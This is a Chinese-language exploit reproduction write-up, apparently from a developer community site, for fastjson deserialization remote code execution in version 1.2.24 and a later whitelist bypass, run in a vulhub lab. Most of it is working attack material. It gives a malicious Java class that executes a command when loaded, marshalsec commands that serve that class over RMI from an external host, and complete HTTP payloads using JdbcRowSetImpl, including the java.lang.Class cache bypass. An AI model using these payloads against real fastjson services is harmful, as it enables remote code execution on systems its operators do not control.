fastjson是阿里巴巴的开源JSON解析库,能够对json格式数据做快速修改和转换。
fastjson在解析过程中会使用autotype来实例化某一个具体的类,autoType的作用就是来定位需要反序列化对象的位置,然后通过@type指定的内容来选择反序列化使用到的链为哪一条,那么我们通过此特性通过指定datasourcename参数为我们的恶意class类,从而导致命令执行
https://github.com/vulhub/vulhub
docker-compose up -d
写入如下代码进入java文件保存为rce.java文件
import java.lang.Runtime;
import java.lang.Process;
public class rce {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"ping", "xxx.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用javac rce.java编译为class文件并使用python开启http服务
我们还需要使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类rce.class
git下载项目
git clone https://github.com/mbechler/marshalsec.git
mvn编译项目
mvn clean package -DskipTests
执行命令
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚刚上传class文件的外网ip/#RCE" 9999
burp抓包访问写上如下payload
POST / HTTP/1.1
Host: 110.41.41.14:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1710057450; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.13.106:9999/rce",
"autoCommit":true
}
}
如下图成功访问本地的rce.class文件
本地已执行命令
该漏洞为1.2.24白名单限制,可绕过白名单限制进行命令执行(与1.2.24原理相同)
https://github.com/vulhub/vulhub
docker-compose up -d
此漏洞复现方式与fastjson 1.2.24相似,所以我们直接给出payload,连marshalsec项目监听的服务和python监听的class文件的服务都不需要做任何更改,直接附上payload
POST / HTTP/1.1
Host: 110.41.41.14:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1710057450; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 263
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.13.106:9999/rce",
"autoCommit":true
}
}
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。